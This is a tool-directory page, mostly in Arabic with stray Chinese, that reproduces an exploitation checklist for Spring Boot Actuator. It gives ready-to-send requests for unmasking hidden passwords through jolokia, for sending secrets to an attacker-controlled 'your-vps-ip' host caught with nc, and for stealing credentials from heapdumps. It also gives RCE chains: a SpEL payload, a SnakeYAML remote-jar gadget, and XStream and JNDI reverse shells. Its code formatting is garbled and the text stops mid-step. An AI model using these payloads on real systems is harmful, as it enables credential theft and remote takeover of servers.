Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
SpringBootVulExploit — SpringBoot المواد التعليمية ذات الصلة بالثغرات الأمنية، مجموعة طرق وتقنيات الاستغلال، قائمة فحص التقييم الأمني للصندوق الأسود | Kitploit
أدوات/GitHubGitHub/landgrey/springbootvulexploit
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبجمع المعلوماتاختبار الاختراقالتعلم والتعليم
GitHublandgrey/springbootvulexploit

SpringBootVulExploit

SpringBoot المواد التعليمية ذات الصلة بالثغرات الأمنية، مجموعة طرق وتقنيات الاستغلال، قائمة فحص التقييم الأمني للصندوق الأسود

عرض المستودع
6.1k1.3kمنذ 5 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

قائمة التحقق من استغلال ثغرات Spring Boot

مواد تعليمية حول ثغرات Spring Boot ذات الصلة، مجموعة من طرق وتقنيات الاستغلال، قائمة التحقق للتقييم الأمني في الصندوق الأسود

بيان

⚠️ جميع محتويات هذا المشروع مخصصة فقط للبحث الأمني والاختبار المصرح به، ولا يتحمل الأشخاص المعنيون أي مسؤولية عن أي ضرر ناتج عن سوء الاستخدام أو إساءة استخدام هذا المشروع

المحتوى

  • Spring Boot Vulnerability Exploit Check List
    • صفر: التوجيه والإصدار
      • 0x01: معرفة التوجيه
      • 0x02: معرفة الإصدار
        • التبعيات المتبادلة بين إصدارات المكونات:
        • التبعيات بين إصدارات Spring Cloud و Spring Boot:
        • اللواحق في أرقام الإصدارات الصغيرة لـ Spring Cloud ومعانيها:
    • الأول: تسرب المعلومات
      • 0x01: تسرب عناوين التوجيه وتفاصيل استدعاء الواجهة
      • 0x02: التوجيهات المكشوفة بسبب التكوين غير السليم
      • 0x03: الحصول على نص كلمة المرور المخفية بعلامات النجمة (الطريقة الأولى)
        • شروط الاستغلال:
        • طريقة الاستغلال:
          • الخطوة الأولى: العثور على اسم الخاصية المطلوب الحصول عليها
          • الخطوة الثانية: استدعاء Mbean المرتبط عبر jolokia للحصول على النص
      • 0x04: الحصول على نص كلمة المرور المخفية بعلامات النجمة (الطريقة الثانية)
        • شروط الاستغلال:
        • طريقة الاستغلال:
          • الخطوة الأولى: العثور على اسم الخاصية المطلوب الحصول عليها
    • الثاني: تنفيذ التعليمات البرمجية عن بعد
      • 0x01: whitelabel error page SpEL RCE
        • شروط الاستغلال:
        • طريقة الاستغلال:
          • الخطوة الأولى: العثور على مكان تمرير معلمة بشكل طبيعي
          • الخطوة الثانية: تنفيذ تعبير SpEL
        • مبدأ الثغرة:
        • تحليل الثغرة:
        • بيئة الثغرة:
      • 0x02: spring cloud SnakeYAML RCE
        • شروط الاستغلال:
        • طريقة الاستغلال:
          • الخطوة الأولى: استضافة ملفات yml و jar
          • الخطوة الثانية: تعيين خاصية spring.cloud.bootstrap.location
          • الخطوة الثالثة: تحديث التكوين
        • مبدأ الثغرة:
        • تحليل الثغرة:
        • بيئة الثغرة:

صفر: التوجيه والإصدار

0x01: معرفة التوجيه

  • قد يقوم بعض المبرمجين بتخصيص /manage أو /management أو اسم المشروع App ذي الصلة كمسار جذر لـ Spring
  • الإصدار 1.x من Spring Boot Actuator يحتوي على مسار بداية افتراضي للتوجيهات المدمجة هو /، بينما الإصدار 2.x يستخدم /actuator كمسار بداية بشكل موحد
  • قد يتم تعديل أسماء التوجيهات المدمجة الافتراضية لـ Spring Boot Actuator، مثل /env، في بعض الأحيان من قبل المبرمجين، على سبيل المثال تغييرها إلى /appenv

0x02: معرفة الإصدار

Spring Cloud هو إطار عمل مبني على Spring Boot لبناء الخدمات، ويوفر وظائف شائعة مثل إدارة التكوين، اكتشاف الخدمات وتسجيلها، التوجيه الذكي، وما إلى ذلك، وهو مجموعة منسقة من الأطر التي تساعد في تطوير الأنظمة الموزعة بسرعة.

التبعيات المتبادلة بين إصدارات المكونات:

العنصر التابعقائمة الإصدارات وإصدارات المكونات التابعة
spring-boot-starter-parentspring-boot-starter-parent
spring-boot-dependencies

التبعيات بين إصدارات Spring Cloud و Spring Boot:

اللواحق في أرقام الإصدارات الصغيرة لـ Spring Cloud ومعانيها:

لاحقة الإصدار الصغيرالمعنى
BUILD-SNAPSHOTإصدار تجريبي، الكود غير ثابت وقيد التغيير
MXإصدار معلم
RCX

الأول: تسرب المعلومات

0x01: تسرب عناوين التوجيه وتفاصيل استدعاء الواجهة

المطورون لم يدركوا أن تسرب العناوين قد يؤدي إلى مخاطر أمنية، أو عند الانتقال من بيئة التطوير إلى بيئة الإنتاج، لم يقم المسؤولون بتغيير ملفات التكوين، ونسوا تبديل تكوين البيئة، إلخ.

قم بزيارة التوجيهين التاليين المتعلقين بـ Swagger مباشرة للتحقق من وجود الثغرة:``` /v2/api-docs /swagger-ui.html

root@kitploit:~
بعض مسارات الواجهة الأخرى ذات الصلة التي قد تواجهها مثل swagger و swagger codegen و swagger-dubbo:```
/swagger
/api-docs
/api.html
/swagger-ui
/swagger/codes
/api/index.html
/api/v2/api-docs
/v2/swagger.json
/swagger-ui/html
/distv2/index.html
/swagger/index.html
/sw/swagger-ui.html
/api/swagger-ui.html
/static/swagger.json
/user/swagger-ui.html
/swagger-ui/index.html
/swagger-dubbo/api-docs
/template/swagger-ui.html
/swagger/static/index.html
/dubbo-provider/distv2/index.html
/spring-security-rest/api/swagger-ui.html
/spring-security-oauth-resource/swagger-ui.html

بالإضافة إلى ذلك، قد تحتوي المسارات المتعلقة بـ spring boot actuator أحيانًا على معلومات عنوان الواجهة (أو تُستنتج)، لكن لا يمكن الحصول على المعلومات المتعلقة بالمعلمات:``` /mappings /metrics /beans /configprops /actuator/metrics /actuator/mappings /actuator/beans /actuator/configprops

root@kitploit:~
**بشكل عام، كشف واجهات التطبيق المرتبطة بـ Spring Boot ومعلومات المعاملات لا يُعتبر ثغرة**، ولكن من منظور "**الأمان الافتراضي**"، فإن عدم كشف هذه المعلومات يكون أكثر أمانًا.

بالنسبة للمهاجمين، فإنهم عادةً ما يدققون في الواجهات المكشوفة لزيادة فهمهم للنظام التجاري، ويتحققون في نفس الوقت من وجود ثغرات أخرى مثل الوصول غير المصرح به أو تجاوز الصلاحيات.

### 0x02: المسارات المكشوفة بسبب التكوين غير الصحيح

> السبب الرئيسي هو أن المبرمجين لم يدركوا أثناء التطوير أن كشف المسارات قد يشكل خطرًا أمنيًا، أو لم يتبعوا إجراءات التطوير القياسية، ونسوا تعديل/تبديل تكوين بيئة الإنتاج عند النشر.

ارجع إلى [production-ready-endpoints](https://docs.spring.io/spring-boot/docs/1.5.10.RELEASE/reference/htmlsingle/#production-ready-endpoints) و [spring-boot.txt](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt)، قد تكون المسارات الافتراضية المدمجة المكشوفة بسبب التكوين غير الصحيح كالتالي:```
/actuator
/auditevents
/autoconfig
/beans
/caches
/conditions
/configprops
/docs
/dump
/env
/flyway
/health
/heapdump
/httptrace
/info
/intergrationgraph
/jolokia
/logfile
/loggers
/liquibase
/metrics
/mappings
/prometheus
/refresh
/scheduledtasks
/sessions
/shutdown
/trace
/threaddump
/actuator/auditevents
/actuator/beans
/actuator/health
/actuator/conditions
/actuator/configprops
/actuator/env
/actuator/info
/actuator/loggers
/actuator/heapdump
/actuator/threaddump
/actuator/metrics
/actuator/scheduledtasks
/actuator/httptrace
/actuator/mappings
/actuator/jolokia
/actuator/hystrix.stream

من بين الواجهات المهمة لاكتشاف الثغرات:

  • /env و /actuator/env

    يؤدي طلب GET إلى /env إلى تسريب المتغيرات البيئية والعناوين الداخلية وأسماء المستخدمين في الإعدادات مباشرةً؛ وعندما لا تكون أسماء خصائص المبرمج موحدة، مثل كتابة password كـ psasword أو pwd، فقد يتم تسريب كلمة المرور كنص واضح؛

    وفي الوقت نفسه، هناك احتمال معين لإعداد بعض الخصائص عبر طلب POST إلى واجهة /env، مما يؤدي بشكل غير مباشر إلى تشغيل ثغرات RCE ذات الصلة؛ وهناك أيضاً احتمال الحصول على النص الواضح لكلمات المرور والمفاتيح الهامة والخصوصية الأخرى التي تم إخفاؤها بعلامات نجمية.

  • /refresh و /actuator/refresh

    بعد إعداد الخصائص عبر طلب POST إلى واجهة /env، يمكن دمجه مع طلب POST إلى واجهة /refresh لتحديث متغيرات الخصائص لتشغيل ثغرات RCE ذات الصلة.

  • /restart و /actuator/restart

    ظهور هذه الواجهة نادر؛ يمكن دمجه مع إعداد الخصائص عبر طلب POST إلى واجهة /env، ثم طلب POST إلى واجهة /restart لإعادة تشغيل التطبيق لتشغيل ثغرات RCE ذات الصلة.

0x03: الحصول على النص الواضح لكلمة المرور المخفاة بعلامات نجمية (الطريقة الأولى)

عند الوصول إلى واجهة /env، يقوم Spring Actuator باستبدال قيم الخصائص التي تحتوي على كلمات رئيسية حساسة (مثل password أو secret) بعلامة * لتحقيق إخفاء البيانات.

شروط الاستغلال:

  • موقع الهدف يحتوي على واجهة /jolokia أو /actuator/jolokia
  • الهدف يستخدم تبعية jolokia-core (متطلبات الإصدار غير معروفة حالياً)

طريقة الاستغلال:

الخطوة الأولى: العثور على اسم الخاصية المطلوبة

قم بإرسال طلب GET إلى واجهة /env أو /actuator/env لموقع الهدف، وابحث عن كلمة ****** للعثور على اسم الخاصية التي تم إخفاء قيمتها بعلامات نجمية والمطلوب الحصول عليها.

الخطوة الثانية: استدعاء Mbean ذي الصلة عبر jolokia للحصول على النص الواضح

قم باستبدال security.user.password في المثال التالي باسم الخاصية الفعلية التي تريد الحصول عليها، وأرسل الحزمة مباشرةً؛ ستظهر نتيجة النص الواضح في مفتاح value داخل حزمة الرد.

  • استدعاء Mbean الخاص بـ org.springframework.boot

في الواقع هو استدعاء طريقة getProperty للكائن من الفئة org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar

spring 1.x``` POST /jolokia Content-Type: application/json

{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

root@kitploit:~
spring 2.x```
POST /actuator/jolokia
Content-Type: application/json

{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
  • اتصال بـ org.springframework.cloud.context.environment Mbean

في الواقع، يتم استدعاء طريقة getProperty من مثيل الفئة org.springframework.cloud.context.environment.EnvironmentManager

spring 1.x``` POST /jolokia Content-Type: application/json

{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

root@kitploit:~
spring 2.x```
POST /actuator/jolokia
Content-Type: application/json

{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
  • 调用其他 Mbean

目标具体情况和存在的 Mbean 可能不一样,可以搜索 getProperty 等关键词,寻找可以调用的方法。

0x04:获取被星号脱敏的密码的明文 (方法二)

利用条件:

  • 可以 GET 请求目标网站的 /env
  • 可以 POST 请求目标网站的 /env
  • 可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)
  • 目标使用了 spring-cloud-starter-netflix-eureka-client 依赖
  • 目标可以请求攻击者的服务器(请求可出外网)

利用方法:

步骤一: 找到想要获取的属性名

GET 请求目标网站的 /env 或 /actuator/env 接口,搜索 ****** 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。

步骤二: 使用 nc 监听 HTTP 请求

在自己控制的外网服务器上监听 80 端口:```bash nc -lvk 80

root@kitploit:~
##### الخطوة الثالثة: تعيين الخاصية eureka.client.serviceUrl.defaultZone

استبدل `security.user.password` في `http://value:${security.user.password}@your-vps-ip` أدناه باسم الخاصية المقابلة المراد الحصول عليها والمخبأة بعلامة النجمة *؛

استبدل `your-vps-ip` بعنوان IP الحقيقي لخادمك الخارجي.

spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded

eureka.client.serviceUrl.defaultZone=http://value:${security.user.password}@your-vps-ip

spring 2.x``` POST /actuator/env Content-Type: application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"}

root@kitploit:~
##### الخطوة الرابعة: تحديث التكوين

spring 1.x```
POST /refresh
Content-Type: application/x-www-form-urlencoded

spring 2.x``` POST /actuator/refresh Content-Type: application/json

root@kitploit:~
##### الخطوة الخامسة: فك تشفير قيم السمات

في العادة، في هذه المرحلة، سيتلقى الخادم الذي يستمع عبر nc طلبًا من الهدف، يحتوي على محتوى مشابه لرأس `Authorization` التالي:```
Authorization: Basic dmFsdWU6MTIzNDU2

قم بفك تشفير الجزء dmFsdWU6MTIzNDU2 باستخدام base64، ستحصل على قيمة نصية واضحة مثل value:123456، حيث أن 123456 هي القيمة النصية للخاصية قبل إخفائها بعلامة النجمة *.

0x05: الحصول على النص الواضح لكلمة المرور المخفية بعلامة النجمة (الطريقة الثالثة)

شروط الاستغلال:

  • عن طريق إرسال طلب POST إلى /env لتعيين خاصية تؤدي إلى إرسال الهدف طلب http عشوائي إلى عنوان محدد على الإنترنت الخارجي
  • يمكن للهدف طلب خادم المهاجم (الطلب يمكنه الخروج إلى الإنترنت)

طريقة الاستغلال:

بالرجوع إلى issue-1 الذي طرحه UUUUnotfound، يمكن استخدام العناصر النائبة في مسار URL أثناء إرسال الهدف طلبات http خارجية لإخراج البيانات

الخطوة الأولى: العثور على اسم الخاصية المطلوب الحصول عليها

أرسل طلب GET إلى /env أو /actuator/env على الموقع الهدف، وابحث عن كلمة ******، واعثر على اسم الخاصية المقابلة لقيمة الخاصية المخفية بعلامة النجمة * التي تريد الحصول عليها.

الخطوة الثانية: استخدام nc لمراقبة طلبات HTTP

استمع على المنفذ 80 في خادم خارجي تحت سيطرتك:```bash nc -lvk 80

root@kitploit:~
##### الخطوة الثالثة: تحفيز طلب http خارجي

- طريقة `spring.cloud.bootstrap.location` ( **ينطبق أيضًا على** الحالات التي تحتوي فيها البيانات النصية على أحرف عنوان URL خاصة)

spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded

spring.cloud.bootstrap.location=http://your-vps-ip/?=${security.user.password}

spring 2.x``` POST /actuator/env Content-Type: application/json

{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/?=${security.user.password}"}

root@kitploit:~
- `eureka.client.serviceUrl.defaultZone` طريقة (**لا تنطبق على** الحالات التي تحتوي فيها البيانات النصية الصريحة على أحرف URL خاصة)

spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded

eureka.client.serviceUrl.defaultZone=http://your-vps-ip/${security.user.password}

spring 2.x``` POST /actuator/env Content-Type: application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"}

root@kitploit:~
##### الخطوة الرابعة: تحديث التكوين

spring 1.x```
POST /refresh
Content-Type: application/x-www-form-urlencoded

spring 2.x``` POST /actuator/refresh Content-Type: application/json

root@kitploit:~
### 0x06: الحصول على النص العادي لكلمة المرور المخفية بنجوم (الطريقة الرابعة)

> عند الوصول إلى واجهة `/env`، يقوم spring actuator باستبدال قيم الخصائص التي تحتوي على كلمات رئيسية حساسة (مثل password، secret) بعلامة * لتحقيق الإخفاء.

#### شروط الاستغلال:

- يمكن إرسال طلب GET بشكل طبيعي إلى واجهة `/heapdump` أو `/actuator/heapdump` للهدف



#### طريقة الاستغلال:

##### الخطوة الأولى: العثور على اسم الخاصية المطلوبة

أرسل طلب GET إلى واجهة `/env` أو `/actuator/env` للهدف، وابحث عن كلمة `******`، ثم اعثر على اسم الخاصية المقابلة للقيمة المخفية بنجوم التي ترغب في الحصول عليها.



##### الخطوة الثانية: تنزيل معلومات heap الخاصة بـ JVM

> عادةً ما يتراوح حجم ملف heapdump الذي تم تنزيله بين 50M و 500M، وقد يتجاوز 2G في بعض الأحيان

أرسل طلب `GET` إلى واجهة `/heapdump` أو `/actuator/heapdump` للهدف لتنزيل معلومات heap الحالية لتطبيق JVM.



##### الخطوة الثالثة: استخدام MAT للحصول على النص العادي لكلمة المرور من heap

راجع [المقال](https://landgrey.me/blog/16/) الطريقة، واستخدم عبارة **OQL** في أداة [Eclipse Memory Analyzer](https://www.eclipse.org/mat/downloads.php).```
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))

或

select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))

辅助用 "password" 等关键词快速过滤分析,获得密码等相关敏感信息的明文。

二:远程代码执行

由于 spring boot 相关漏洞可能是多个组件漏洞组合导致的,所以有些漏洞名字起的不太正规,以能区分为准

0x01:whitelabel error page SpEL RCE

利用条件:

  • spring boot 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0
  • 至少知道一个触发 springboot 默认错误页面的接口及参数名

利用方法:

步骤一:找到一个正常传参处

比如发现访问 /article?id=xxx ,页面会报状态码为 500 的错误: Whitelabel Error Page,则后续 payload 都将会在参数 id 处尝试。

步骤二:执行 SpEL 表达式

输入 /article?id=${7*7} ,如果发现报错页面将 7*7 的值 49 计算出来显示在报错页面上,那么基本可以确定目标存在 SpEL 表达式注入漏洞。

由字符串格式转换成 0x** java 字节形式,方便执行任意代码:```python

coding: utf-8

result = "" target = 'open -a Calculator' for x in target: result += hex(ord(x)) + "," print(result.rstrip(','))

root@kitploit:~
نفّذ الأمر `open -a Calculator````java
${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}

مبدأ الثغرة:

  1. عند حدوث خطأ في معالجة قيمة المعامل في Spring Boot، ينتقل التدفق إلى فئة org.springframework.util.PropertyPlaceholderHelper
  2. في هذه المرحلة، يتم تحليل قيمة المعامل في عنوان URL بشكل متكرر باستخدام طريقة parseStringValue
  3. حيث يتم تفسير المحتوى المحاط بـ ${} بواسطة طريقة resolvePlaceholder في فئة org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration كتعبير SpEL وتنفيذه، مما يؤدي إلى ثغرة RCE

تحليل الثغرة:

​ تحليل وإعادة إنتاج ثغرة حقن تعبير SpEL في SpringBoot

بيئة الثغرة:

repository/springboot-spel-rce

الوصول العادي:``` http://127.0.0.1:9091/article?id=66

root@kitploit:~
نفّذ الأمر `open -a Calculator`:```java
http://127.0.0.1:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}

0x02: spring cloud SnakeYAML RCE

شروط الاستغلال:

  • يمكن إرسال طلب POST إلى واجهة /env للموقع الهدف لتعيين الخصائص
  • يمكن إرسال طلب POST إلى واجهة /refresh للموقع الهدف لتحديث التكوين (يتطلب وجود تبعية spring-boot-starter-actuator)
  • إصدار spring-cloud-starter المستهدف أقل من 1.3.0.RELEASE
  • يمكن للموقع الهدف إرسال الطلبات إلى خادم HTTP الخاص بالمهاجم (يمكن للطلبات الوصول إلى الشبكة الخارجية)

طريقة الاستغلال:

الخطوة الأولى: استضافة ملفات yml و jar

قم بفتح خادم HTTP بسيط على جهاز VPS الذي تتحكم فيه، واستخدم المنافذ الشائعة لخدمات HTTP (80، 443) إذا أمكن.```bash

使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80 python3 -m http.server 80

root@kitploit:~
ضع ملفًا باللاحقة `yml` باسم `example.yml` في الدليل الجذر للموقع، ومحتواه كالتالي:```yaml
!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://your-vps-ip/example.jar"]
  ]]
]

في الدليل الجذر للموقع، ضع ملفًا بامتداد jar باسم example.jar، محتواه هو الكود المراد تنفيذه. راجع yaml-payload لطريقة كتابة وتجميع الكود.

الخطوة الثانية: تعيين الخاصية spring.cloud.bootstrap.location

spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded

spring.cloud.bootstrap.location=http://your-vps-ip/example.yml

root@kitploit:~
spring 2.x```
POST /actuator/env
Content-Type: application/json

{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/example.yml"}
الخطوة الثالثة: تحديث التكوين

spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded

root@kitploit:~
spring 2.x```
POST /actuator/refresh
Content-Type: application/json

مبدأ الثغرة:

  1. يتم تعيين الخاصية spring.cloud.bootstrap.location على عنوان URL لملف yml ضار خارجي.
  2. يؤدي التحديث (refresh) إلى إرسال الجهاز المستهدف طلبًا إلى خادم HTTP البعيد للحصول على ملف yml، واستلام محتواه.
  3. نظرًا لوجود ثغرة في إلغاء التسلسل في SnakeYAML، فإن تحليل محتوى yml الضار سينفذ الإجراءات المحددة.
  4. أولاً، يتم تشغيل java.net.URL لسحب ملف jar الضار من خادم HTTP البعيد.
  5. ثم يتم البحث عن الفئة التي تنفذ واجهة javax.script.ScriptEngineFactory في ملف jar وإنشاء مثيل لها.
  6. عند إنشاء مثيل الفئة، يتم تنفيذ تعليمات برمجية ضارة، مما يسبب ثغرة RCE.

تحليل الثغرة:

​ Exploit Spring Boot Actuator 之 Spring Cloud Env 学习笔记

بيئة الثغرة:

repository/springcloud-snakeyaml-rce

الوصول العادي:``` http://127.0.0.1:9092/env

root@kitploit:~
### 0x03: إلغاء تسلسل XStream في Eureka RCE

#### شروط الاستغلال:

- يمكن إرسال طلب POST إلى واجهة `/env` الخاصة بالموقع الهدف لتعيين الخصائص
- يمكن إرسال طلب POST إلى واجهة `/refresh` الخاصة بالموقع الهدف لتحديث التهيئة (يتطلب وجود تبعية `spring-boot-starter-actuator`)
- إصدار `eureka-client` المستخدم في الهدف أقل من 1.8.7 (عادةً ما يكون مضمنًا في تبعية `spring-cloud-starter-netflix-eureka-client`)
- يمكن للهدف إرسال طلبات إلى خادم HTTP الخاص بالمهاجم (يجب أن تكون الطلبات قادرة على الوصول إلى الشبكة الخارجية)



#### طريقة الاستغلال:

##### الخطوة الأولى: إنشاء موقع يستجيب بحمولة XStream ضارة

تقديم [مثال على سكريبت Python](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-xstream-rce.py) يعتمد على Flask ويلبي المتطلبات، وظيفته استخدام Python المدمج في جهاز Linux الهدف لإنشاء شل عكسي.

قم بتشغيل السكريبت أعلاه بواسطة Python على الخادم الذي تتحكم فيه، وقم بتعديل عنوان IP ومنفذ الشل العكسي في السكريبت وفقًا للوضع الفعلي.



##### الخطوة الثانية: الاستماع على منفذ الشل العكسي

عادةً ما يتم استخدام nc للاستماع على منفذ وانتظار الشل العكسي.```bash
nc -lvp 443
الخطوة الثالثة: تعيين الخاصية eureka.client.serviceUrl.defaultZone

spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded

eureka.client.serviceUrl.defaultZone=http://your-vps-ip/example

root@kitploit:~
spring 2.x```
POST /actuator/env
Content-Type: application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/example"}
الخطوة الرابعة: تحديث التكوين

spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded

root@kitploit:~
spring 2.x```
POST /actuator/refresh
Content-Type: application/json

مبدأ الثغرة:

  1. يتم تعيين الخاصية eureka.client.serviceUrl.defaultZone إلى عنوان URL لخادم eureka خارجي ضار
  2. يؤدي التحديث refresh إلى إرسال الجهاز المستهدف طلبًا إلى عنوان URL البعيد، حيث يقوم خادم eureka الوهمي المُعد مسبقًا بإرجاع حمولة ضارة payload
  3. تقوم التبعيات ذات الصلة على الجهاز المستهدف بتحليل الحمولة الضارة، مما يؤدي إلى إلغاء تسلسل XStream، وبالتالي حدوث ثغرة RCE

تحليل الثغرة:

​ Spring Boot Actuator من الوصول غير المصرح به إلى الحصول على شل

بيئة الثغرة:

repository/springboot-eureka-xstream-rce

الوصول العادي:``` http://127.0.0.1:9093/env

root@kitploit:~
### 0x04: Jolokia Logback JNDI RCE

#### شروط الاستغلال:

- يحتوي الموقع الهدف على واجهة `/jolokia` أو `/actuator/jolokia`
- يستخدم الهدف الاعتمادية `jolokia-core` (شرط الإصدار غير معروف حاليًا) ويوجد MBean ذات الصلة في البيئة
- يمكن للهدف إرسال طلبات إلى خادم HTTP للمهاجم (الطلبات يمكنها الوصول إلى الإنترنت الخارجي)

- يتأثر حقن JNDI العادي بإصدار JDK الهدف، JDK < 6u201/7u191/8u182/11.0.1 (LDAP)، ولكن يمكن التحايل على ذلك في البيئات المناسبة



#### طريقة الاستغلال:

##### الخطوة الأولى: عرض MBeans الموجودة

قم بزيارة واجهة `/jolokia/list` وتحقق من وجود الكلمات المفتاحية `ch.qos.logback.classic.jmx.JMXConfigurator` و `reloadByURL`.



##### الخطوة الثانية: استضافة ملف XML

قم بتشغيل خادم HTTP بسيط على جهاز VPS الذي تتحكم فيه، ويفضل استخدام منافذ HTTP الشائعة (80, 443).```bash
# 使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80
python3 -m http.server 80

ضع ملف example.xml الذي ينتهي بـ xml في الدليل الجذر، ومحتواه كما يلي:```xml

root@kitploit:~
##### الخطوة الثالثة: تحضير كود Java المراد تنفيذه

اكتب [كود Java المثال](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java) المُحسَّن لفتح شل عكسي `JNDIObject.java`،

قم بتجميعه باستخدام طريقة متوافقة مع إصدارات jdk القديمة:```bash
javac -source 1.5 -target 1.5 JNDIObject.java

ثم قم بنسخ ملف JNDIObject.class المولد إلى جذر موقع الويب في الخطوة الثانية.

الخطوة الرابعة: إعداد خدمة ldap الخبيثة

قم بتنزيل marshalsec ، واستخدم الأمر التالي لإعداد خدمة ldap المقابلة:```bash java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389

root@kitploit:~
##### الخطوة الخامسة: الاستماع للمنفذ الخاص بـ 反弹 shell

عادةً ما يتم استخدام nc للاستماع على المنفذ، في انتظار 反弹 shell```bash
nc -lv 443
الخطوة السادسة: تحميل ملف تكوين السجلات من عنوان URL خارجي

⚠️ إذا نجح الهدف في طلب example.xml واستلم marshalsec أيضًا طلب الهدف، ولكن الهدف لم يطلب JNDIObject.class، فمن المحتمل أن إصدار JDK في بيئة الهدف مرتفع جدًا، مما يؤدي إلى فشل استغلال JNDI.

استبدل عنوان your-vps-ip الفعلي لزيارة عنوان URL لتشغيل الثغرة:``` /jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip!/example.xml

root@kitploit:~
#### مبدأ الثغرة:

1. الوصول المباشر إلى عنوان URL الذي يؤدي إلى تشغيل الثغرة، وهو ما يعادل استدعاء طريقة `reloadByURL` للفئة `ch.qos.logback.classic.jmx.JMXConfigurator` عبر jolokia
2. الجهاز المستهدف يطلب عنوان URL لملف تكوين السجلات الخارجي، ويحصل على محتوى ملف xml ضار
3. الجهاز المستهدف يستخدم saxParser.parse لتحليل ملف xml (وهذا يؤدي إلى ثغرة xxe)
4. في ملف xml، يتم استخدام علامة `insertFormJNDI` المعتمدة على `logback` لتعيين عنوان خادم JNDI خارجي
5. الجهاز المستهدف يطلب خادم JNDI ضار، مما يؤدي إلى حقن JNDI، ويسبب ثغرة RCE

#### تحليل الثغرة:

[spring boot actuator rce via jolokia](https://xz.aliyun.com/t/4258)

#### بيئة الثغرة:

[repository/springboot-jolokia-logback-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-jolokia-logback-rce)

الوصول العادي:```
http://127.0.0.1:9094/env

0x05: حقن JNDI عبر Realm Jolokia

شروط الاستغلال:

  • وجود واجهة /jolokia أو /actuator/jolokia على الموقع المستهدف
  • يعتمد الهدف على مكتبة jolokia-core (إصدار غير معروف حاليًا) وتوجد MBeans مرتبطة في البيئة
  • يمكن للهدف إرسال طلبات إلى خادم المهاجم (يمكن للطلبات الخروج إلى الإنترنت)
  • حقن JNDI العادي يتأثر بإصدار JDK الهدف، jdk < 6u141/7u131/8u121 (RMI)، لكن يمكن تجاوز ذلك في البيئات ذات الصلة

طريقة الاستغلال:

الخطوة الأولى: عرض MBeans الموجودة

قم بزيارة واجهة /jolokia/list وتحقق من وجود الكلمات المفتاحية type=MBeanFactory و createJNDIRealm.

الخطوة الثانية: تجهيز كود Java المراد تنفيذه

قم بكتابة كود Java مُحسَّن لفتح قذيفة عكسية باسم JNDIObject.java.

الخطوة الثالثة: استضافة ملف class

على خادم VPS الذي تتحكم فيه، قم بتشغيل خادم HTTP بسيط، ويفضل استخدام منافذ خدمات HTTP الشائعة (80، 443).```bash

使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80 python3 -m http.server 80

root@kitploit:~
انسخ ملف class الذي تم تجميعه في الخطوة 2 إلى الدليل الجذر لخادم HTTP.

##### الخطوة الرابعة: إعداد خدمة RMI ضارة

قم بتنزيل [marshalsec](https://github.com/mbechler/marshalsec) واستخدم الأمر التالي لإعداد خدمة RMI المقابلة:```bash
